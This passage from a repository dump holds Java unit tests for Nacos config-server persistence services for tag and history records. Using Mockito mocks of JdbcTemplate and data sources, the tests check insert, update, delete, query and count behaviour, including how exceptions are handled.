Mockito.mockStatic(EnvUtil.class);\n        externalStorageUtilsMockedStatic = Mockito.mockStatic(ExternalStorageUtils.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getTransactionTemplate()).thenReturn(transactionTemplate);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"mysql\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false))).thenReturn(false);\n        externalConfigInfoTagPersistService = new ExternalConfigInfoTagPersistServiceImpl();\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        externalStorageUtilsMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertOrUpdateTagOfAdd() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //mock query config state empty and return obj after insert\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1))\n                .thenReturn(configInfoStateWrapper);\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = externalConfigInfoTagPersistService.insertOrUpdateTag(configInfo, tag, srcIp, srcUser);\n        //verify insert to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag), eq(appName), eq(configInfo.getContent()),\n                        eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), any(Timestamp.class), any(Timestamp.class));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateTagOfUpdate() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //mock query config state and return obj after update\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(new ConfigInfoStateWrapper()).thenReturn(configInfoStateWrapper);\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = externalConfigInfoTagPersistService.insertOrUpdateTag(configInfo, tag, srcIp, srcUser);\n        //verify update to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(configInfo.getContent()), eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        eq(appName), eq(dataId), eq(group), eq(tenant), eq(tag));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateTagCasOfAdd() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state empty and return obj after insert\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1))\n                .thenReturn(configInfoStateWrapper);\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        ConfigOperateResult configOperateResult = externalConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n        //verify insert to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag), eq(appName), eq(configInfo.getContent()),\n                        eq(MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), any(Timestamp.class));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateTagCasOfUpdate() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state and return obj after update\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(new ConfigInfoStateWrapper()).thenReturn(configInfoStateWrapper);\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        \n        //mock cas update return 1\n        Mockito.when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()),\n                eq(MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                eq(appName), eq(dataId), eq(group), eq(tenant), eq(tag), eq(configInfo.getMd5()))).thenReturn(1);\n        ConfigOperateResult configOperateResult = externalConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n        //verify update to be invoked\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(configInfo.getContent()), eq(MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE)),\n                        eq(srcIp), eq(srcUser), any(Timestamp.class), eq(appName), eq(dataId), eq(group), eq(tenant), eq(tag),\n                        eq(configInfo.getMd5()));\n        assertEquals(configInfoStateWrapper.getId(), configOperateResult.getId());\n        assertEquals(configInfoStateWrapper.getLastModified(), configOperateResult.getLastModified());\n    }\n    \n    @Test\n    void testInsertOrUpdateTagCasOfException() {\n        String dataId = \"dataId111222\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appname1234\";\n        String content = \"c12345\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        configInfo.setMd5(\"casMd5\");\n        //mock query config state CannotGetJdbcConnectionException\n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setLastModified(System.currentTimeMillis());\n        configInfoStateWrapper.setId(234567890L);\n        String tag = \"tag123\";\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"state query throw exception\"));\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        try {\n            externalConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"state query throw exception\", e.getMessage());\n        }\n        //mock get state return null,and execute add throw CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null);\n        Mockito.when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag), eq(appName), eq(configInfo.getContent()),\n                eq(MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                any(Timestamp.class))).thenThrow(new CannotGetJdbcConnectionException(\"throw exception add config tag\"));\n        try {\n            externalConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"throw exception add config tag\", e.getMessage());\n        }\n        \n        //mock get state return obj,and execute update throw CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(configInfoStateWrapper);\n        Mockito.when(jdbcTemplate.update(anyString(), eq(configInfo.getContent()),\n                        eq(MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        eq(appName), eq(dataId), eq(group), eq(tenant), eq(tag), eq(configInfo.getMd5())))\n                .thenThrow(new CannotGetJdbcConnectionException(\"throw exception update config tag\"));\n        try {\n            externalConfigInfoTagPersistService.insertOrUpdateTagCas(configInfo, tag, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"throw exception update config tag\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testRemoveConfigInfoTag() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        String tag = \"tag123345\";\n        String srcIp = \"ip345678\";\n        String srcUser = \"user1234567\";\n        //Mockito.when(jdbcTemplate.update(anyString(),eq(dataId),eq(group),eq(tenant),eq(tag))).thenReturn()\n        //verify delete sql invoked.\n        externalConfigInfoTagPersistService.removeConfigInfoTag(dataId, group, tenant, tag, srcIp, srcUser);\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag));\n        \n        //mock delete throw CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.update(anyString(), eq(dataId), eq(group), eq(tenant), eq(tag)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"delete fail\"));\n        try {\n            externalConfigInfoTagPersistService.removeConfigInfoTag(dataId, group, tenant, tag, srcIp, srcUser);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"delete fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testFindConfigInfo4Tag() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        String tag = \"tag123345\";\n        \n        //mock query tag return obj\n        ConfigInfoTagWrapper configInfoTagWrapperMocked = new ConfigInfoTagWrapper();\n        configInfoTagWrapperMocked.setLastModified(System.currentTimeMillis());\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER))).thenReturn(configInfoTagWrapperMocked);\n        \n        ConfigInfoTagWrapper configInfo4TagReturn = externalConfigInfoTagPersistService.findConfigInfo4Tag(dataId, group, tenant, tag);\n        assertEquals(configInfoTagWrapperMocked, configInfo4TagReturn);\n        //mock query tag throw EmptyResultDataAccessException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER))).thenThrow(new EmptyResultDataAccessException(1));\n        ConfigInfoTagWrapper configInfo4Tag = externalConfigInfoTagPersistService.findConfigInfo4Tag(dataId, group, tenant, tag);\n        assertNull(configInfo4Tag);\n        \n        //mock query tag throw CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant, tag}),\n                eq(CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"con error\"));\n        try {\n            externalConfigInfoTagPersistService.findConfigInfo4Tag(dataId, group, tenant, tag);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"con error\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testConfigInfoTagCount() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        //mock count\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(308);\n        //execute & verify\n        int count = externalConfigInfoTagPersistService.configInfoTagCount();\n        assertEquals(308, count);\n        \n        //mock count is null\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(null);\n        //execute & verify\n        try {\n            externalConfigInfoTagPersistService.configInfoTagCount();\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"configInfoTagCount error\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testFindAllConfigInfoTagForDumpAll() {\n        \n        //mock count\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(308);\n        List<ConfigInfoTagWrapper> mockTagList = new ArrayList<>();\n        mockTagList.add(new ConfigInfoTagWrapper());\n        mockTagList.add(new ConfigInfoTagWrapper());\n        mockTagList.add(new ConfigInfoTagWrapper());\n        mockTagList.get(0).setLastModified(System.currentTimeMillis());\n        mockTagList.get(1).setLastModified(System.currentTimeMillis());\n        mockTagList.get(2).setLastModified(System.currentTimeMillis());\n        //mock query list\n        Mockito.when(jdbcTemplate.query(anyString(), eq(new Object[] {}), eq(CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER))).thenReturn(mockTagList);\n        int pageNo = 3;\n        int pageSize = 100;\n        //execute & verify\n        Page<ConfigInfoTagWrapper> returnTagPage = externalConfigInfoTagPersistService.findAllConfigInfoTagForDumpAll(pageNo, pageSize);\n        assertEquals(308, returnTagPage.getTotalCount());\n        assertEquals(mockTagList, returnTagPage.getPageItems());\n        \n        //mock count CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"conn error111\"));\n        //execute & verify\n        try {\n            externalConfigInfoTagPersistService.findAllConfigInfoTagForDumpAll(pageNo, pageSize);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn error111\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testFindConfigInfoTags() {\n        String dataId = \"dataId1112222\";\n        String group = \"group22\";\n        String tenant = \"tenant2\";\n        List<String> mockedTags = Arrays.asList(\"tags1\", \"tags11\", \"tags111\");\n        Mockito.when(jdbcTemplate.queryForList(anyString(), eq(new Object[] {dataId, group, tenant}), eq(String.class)))\n                .thenReturn(mockedTags);\n        \n        List<String> configInfoTags = externalConfigInfoTagPersistService.findConfigInfoTags(dataId, group, tenant);\n        assertEquals(mockedTags, configInfoTags);\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalHistoryConfigInfoPersistServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.service.sql.ExternalStorageUtils;\nimport com.alibaba.nacos.config.server.utils.TestCaseUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_DETAIL_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_LIST_ROW_MAPPER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass ExternalHistoryConfigInfoPersistServiceImplTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ExternalStorageUtils> externalStorageUtilsMockedStatic;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    private ExternalHistoryConfigInfoPersistServiceImpl externalHistoryConfigInfoPersistService;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    private TransactionTemplate transactionTemplate = TestCaseUtils.createMockTransactionTemplate();\n    \n    @BeforeEach\n    void before() {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        externalStorageUtilsMockedStatic = Mockito.mockStatic(ExternalStorageUtils.class);\n        when(DynamicDataSource.getInstance()).thenReturn(dynamicDataSource);\n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        when(dataSourceService.getTransactionTemplate()).thenReturn(transactionTemplate);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        when(dataSourceService.getDataSourceType()).thenReturn(\"mysql\");\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), eq(Boolean.class), eq(false)))\n                .thenReturn(false);\n        externalHistoryConfigInfoPersistService = new ExternalHistoryConfigInfoPersistServiceImpl();\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        externalStorageUtilsMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertConfigHistoryAtomic() {\n        String dataId = \"dateId243\";\n        String group = \"group243\";\n        String tenant = \"tenant243\";\n        String content = \"content243\";\n        String appName = \"appName243\";\n        long id = 123456787765432L;\n        String srcUser = \"user12345\";\n        String srcIp = \"ip1234\";\n        String ops = \"D\";\n        String extraInfo = \"type\\\":\\\"properties\";\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setEncryptedDataKey(\"key23456\");\n        //expect insert success,verify insert invoked\n        externalHistoryConfigInfoPersistService.insertConfigHistoryAtomic(id, configInfo, srcIp, srcUser, timestamp,\n                ops, \"formal\", null, extraInfo);\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(id), eq(dataId), eq(group), eq(tenant), eq(appName), eq(content),\n                        eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), eq(timestamp), eq(ops), eq(\"formal\"), eq(\"\"),\n                        eq(extraInfo), eq(configInfo.getEncryptedDataKey()));\n        \n        Mockito.when(\n                        jdbcTemplate.update(anyString(), eq(id), eq(dataId), eq(group), eq(tenant), eq(appName), eq(content),\n                                eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), eq(timestamp), eq(ops), eq(\"formal\"), eq(\"\"),\n                                eq(extraInfo), eq(configInfo.getEncryptedDataKey())))\n                .thenThrow(new CannotGetJdbcConnectionException(\"mock ex...\"));\n        try {\n            externalHistoryConfigInfoPersistService.insertConfigHistoryAtomic(id, configInfo, srcIp, srcUser, timestamp,\n                    ops, \"formal\", null, extraInfo);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"mock ex...\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testRemoveConfigHistory() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        int pageSize = 1233;\n        externalHistoryConfigInfoPersistService.removeConfigHistory(timestamp, pageSize);\n        //verify delete by time and size invoked.\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(timestamp), eq(pageSize));\n    }\n    \n    @Test\n    void testFindDeletedConfig() {\n        \n        //mock query list return\n        ConfigHistoryInfo mockObj1 = new ConfigHistoryInfo();\n        mockObj1.setDataId(\"data_id1\");\n        mockObj1.setGroup(\"group_id1\");\n        mockObj1.setTenant(\"tenant_id1\");\n        mockObj1.setMd5(\"md51\");\n        mockObj1.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        \n        List<ConfigHistoryInfo> list = new ArrayList<>();\n        list.add(mockObj1);\n        ConfigHistoryInfo mockObj2 = new ConfigHistoryInfo();\n        mockObj2.setDataId(\"data_id2\");\n        mockObj2.setGroup(\"group_id2\");\n        mockObj2.setTenant(\"tenant_id2\");\n        mockObj2.setMd5(\"md52\");\n        mockObj2.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        list.add(mockObj2);\n        int pageSize = 1233;\n        long startId = 23456;\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        String publishType = \"formal\";\n        Mockito.when(jdbcTemplate.query(anyString(), eq(new Object[] {publishType, timestamp, startId, pageSize}),\n                eq(HISTORY_DETAIL_ROW_MAPPER))).thenReturn(list);\n        //execute\n        List<ConfigInfoStateWrapper> deletedConfig = externalHistoryConfigInfoPersistService.findDeletedConfig(\n                timestamp, startId, pageSize, \"formal\");\n        //expect verify\n        assertEquals(\"data_id1\", deletedConfig.get(0).getDataId());\n        assertEquals(\"group_id1\", deletedConfig.get(0).getGroup());\n        assertEquals(\"tenant_id1\", deletedConfig.get(0).getTenant());\n        assertEquals(mockObj1.getLastModifiedTime(), new Timestamp(deletedConfig.get(0).getLastModified()));\n        assertEquals(\"data_id2\", deletedConfig.get(1).getDataId());\n        assertEquals(\"group_id2\", deletedConfig.get(1).getGroup());\n        assertEquals(\"tenant_id2\", deletedConfig.get(1).getTenant());\n        assertEquals(mockObj2.getLastModifiedTime(), new Timestamp(deletedConfig.get(1).getLastModified()));\n        \n        //mock exception\n        Mockito.when(jdbcTemplate.query(anyString(), eq(new Object[] {publishType, timestamp, startId, pageSize}),\n                eq(HISTORY_DETAIL_ROW_MAPPER))).thenThrow(new CannotGetJdbcConnectionException(\"conn error\"));\n        \n        try {\n            externalHistoryConfigInfoPersistService.findDeletedConfig(timestamp, startId, pageSize, \"formal\");\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn error\", e.getMessage());\n        }\n        \n    }\n    \n    @Test\n    void testFindConfigHistory() {\n        String dataId = \"dataId34567\";\n        String group = \"group34567\";\n        String tenant = \"tenant34567\";\n        \n        //mock count\n        Mockito.when(\n                        jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}), eq(Integer.class)))\n                .thenReturn(300);\n        //mock list\n        List<ConfigHistoryInfo> mockList = new ArrayList<>();\n        mockList.add(createMockConfigHistoryInfo(0));\n        mockList.add(createMockConfigHistoryInfo(1));\n        mockList.add(createMockConfigHistoryInfo(2));\n        Mockito.when(\n                        jdbcTemplate.query(anyString(), eq(new Object[] {dataId, group, tenant}), eq(HISTORY_LIST_ROW_MAPPER)))\n                .thenReturn(mockList);\n        int pageSize = 100;\n        int pageNo = 2;\n        //execute & verify\n        Page<ConfigHistoryInfo> historyReturn = externalHistoryConfigInfoPersistService.findConfigHistory(dataId, group,\n                tenant, pageNo, pageSize);\n        assertEquals(mockList, historyReturn.getPageItems());\n        assertEquals(300, historyReturn.getTotalCount());\n        \n        //mock exception\n        Mockito.when(\n                        jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}), eq(Integer.class)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"conn error111\"));\n        try {\n            externalHistoryConfigInfoPersistService.findConfigHistory(dataId, group, tenant, pageNo, pageSize);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn error111\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testDetailConfigHistory() {\n        long nid = 256789;\n        \n        //mock query\n        ConfigHistoryInfo mockConfigHistoryInfo = createMockConfigHistoryInfo(0);\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenReturn(mockConfigHistoryInfo);\n        //execute & verify\n        ConfigHistoryInfo historyReturn = externalHistoryConfigInfoPersistService.detailConfigHistory(nid);\n        assertEquals(mockConfigHistoryInfo, historyReturn);\n        \n        //mock exception EmptyResultDataAccessException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenThrow(new EmptyResultDataAccessException(1));\n        ConfigHistoryInfo historyReturnNull = externalHistoryConfigInfoPersistService.detailConfigHistory(nid);\n        assertNull(historyReturnNull);\n        \n        //mock exception CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"conn error111\"));\n        try {\n            externalHistoryConfigInfoPersistService.detailConfigHistory(nid);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn error111\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testDetailPreviousConfigHistory() {\n        long nid = 256789;\n        //mock query\n        ConfigHistoryInfo mockConfigHistoryInfo = createMockConfigHistoryInfo(0);\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenReturn(mockConfigHistoryInfo);\n        //execute & verify\n        ConfigHistoryInfo historyReturn = externalHistoryConfigInfoPersistService.detailPreviousConfigHistory(nid);\n        assertEquals(mockConfigHistoryInfo, historyReturn);\n        \n        //mock exception EmptyResultDataAccessException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenThrow(new EmptyResultDataAccessException(1));\n        ConfigHistoryInfo historyReturnNull = externalHistoryConfigInfoPersistService.detailPreviousConfigHistory(nid);\n        assertNull(historyReturnNull);\n        \n        //mock exception CannotGetJdbcConnectionException\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {nid}), eq(HISTORY_DETAIL_ROW_MAPPER)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"conn error111\"));\n        try {\n            externalHistoryConfigInfoPersistService.detailPreviousConfigHistory(nid);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn error111\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testFindConfigHistoryCountByTime() {\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        //mock count\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {timestamp}), eq(Integer.class)))\n                .thenReturn(308);\n        //execute & verify\n        int count = externalHistoryConfigInfoPersistService.findConfigHistoryCountByTime(timestamp);\n        assertEquals(308, count);\n        \n        //mock count is null\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {timestamp}), eq(Integer.class)))\n                .thenReturn(null);\n        //execute & verify\n        try {\n            externalHistoryConfigInfoPersistService.findConfigHistoryCountByTime(timestamp);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"findConfigHistoryCountByTime error\", e.getMessage());\n        }\n    }\n    \n    private ConfigHistoryInfo createMockConfigHistoryInfo(long mockId) {\n        ConfigHistoryInfo configAllInfo = new ConfigHistoryInfo();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setContent(\"23456789000content\");\n        configAllInfo.setOpType(\"D\");\n        